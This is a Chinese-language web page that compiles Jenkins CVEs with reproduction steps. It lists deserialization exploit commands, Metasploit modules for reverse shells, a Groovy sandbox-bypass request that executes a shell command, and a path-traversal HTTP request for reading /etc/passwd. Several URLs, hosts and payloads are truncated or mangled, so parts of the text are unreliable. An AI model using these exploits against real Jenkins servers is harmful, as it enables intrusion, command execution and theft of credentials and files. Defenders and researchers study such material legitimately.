jenkins漏洞集合简介
⽬录
复现⽂章和脚本⼤都是⽹上收集,⼤部分能到出处的,个别不到明确的地址。
CVE-2015-8103 反序列化远程代码执⾏
1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI⼦系统,允许远程攻击者通过制作的序列化Java对象执⾏有问题的commons-collections。
执⾏后有类似如下反应:
还可以使⽤msf中的模块exploit/linux/misc/jenkins_java_deserialize来执⾏攻击反弹shell。
CVE-2016-0788 Jenkins CI和LTS 远程代码执⾏漏洞
CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利⽤该漏洞执⾏任意代码。
利⽤需要X-Jenkins-CLI2-Port对应的端⼝,如果Jenkins⽆法获取CLI版本2的端⼝标头“ X-Jenkins-CLI2-Port”,它会退回到版本1。
发送的⼆进制⽂件实际上是⼗六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使⽤类似反应如下:
CVE-2016-0792 低权限⽤户命令执⾏
影响版本:jenkins⼩于 1.650
执⾏后类似如下
CVE-2016-9299 代码执⾏
2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精⼼制作的序列化Java对象执⾏任意代码,从⽽触发对第三⽅服务器的LDAP查询。
msf有成熟的利⽤模块:exploit/linux/misc/jenkins_ldap_deserialize
CVE-2017-1000353 Jenkins-CI 远程代码执⾏
影响版本:Jenkins<=2.56。Jenkins LTS <= 2.46.1
执⾏⽣成字节码⽂件。
java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl io"
利⽤py⽂件来进⾏发送
python exploit.py :8080 jenkins_poc.ser
会有如下反应
CVE-2018-1000110 ⽤户枚举
:8080/search/suggest?query=a
如果git插件⼩于3.7,也可以使⽤如下
CVE-2018-1000861 远程命令执⾏
可以使⽤如下的⼀键化脚本
github/orangetw/awesome-jenkins-rce-2019
也可以⾃定义发送请求
:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.vy.SecureGroovyScript/checkScript?sand
页⾯返回空⽩,响应为
如果使⽤脚本,则同样效果
还可以使⽤的POC,使⽤会提⽰错误信息,但命令已执⾏。
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.vy.SecureGroovyScript/checkScript?sandbox=true&value=imp /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.vy.SecureGroovyScript/checkScript?sandbox=true&value=imp
环境搭建
执⾏如下命令启动⼀个Jenkins 2.138,包含漏洞的插件也已经安装:
docker-compose up -d
漏洞复现
使⽤ @orangetw 给出的,发送如下请求即可成功执⾏命令:
your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.vy.SecureGroovyScript/checkScript sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}
/tmp/success已成功创建:
CVE-2018-1999002 任意⽂件读取
影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本
可以读取Windows系统服务器中的任意⽂件,且在特定⽽条件下也可以读取Linux系统服务器中的⽂件.
结合payload来看,我们请求的url为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过⼀系列的尝试openURL,在此例中即最后⼀个情形con = openURL(map(base+'_'+ Language()+ext));,会去请
求_../../../../../../../../../../../../windows/win.ini ,尽管⽬录_..并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要⼀个带有_的⽬录来想办法绕过。
需要已经开启了匿名⽤户读取权限,在请求头中添加
Accept-Language: /../../../../../../../../etc/passwd
处理请求中的包含路径,⽐如/plugin/xxxx,可以尝试
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini
在Windows下这么使⽤
GET /plugin/credentials/.ini HTTP/1.1
Host: :8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: :8080
Referer: :8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; de0; Connection: close
CVE-2018-1000600 Jenkins GitHub 信息泄露
影响版本:Jenkins GitHub插件⼩于1.29.1
利⽤的POC为,其中user1为⽤户名。
执⾏后显⽰
查看DNSlog回显
CVE-2019-1003000 远程代码执⾏
实际影响版本及编号:CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
拥有Overall/Read 权限的⽤户可以绕过沙盒保护,在jenkins可以执⾏任意代码。此漏洞需要⼀个账号密码和⼀个存在的job。受影响插件
版本:Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。
cve漏洞库执⾏利⽤后显⽰
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论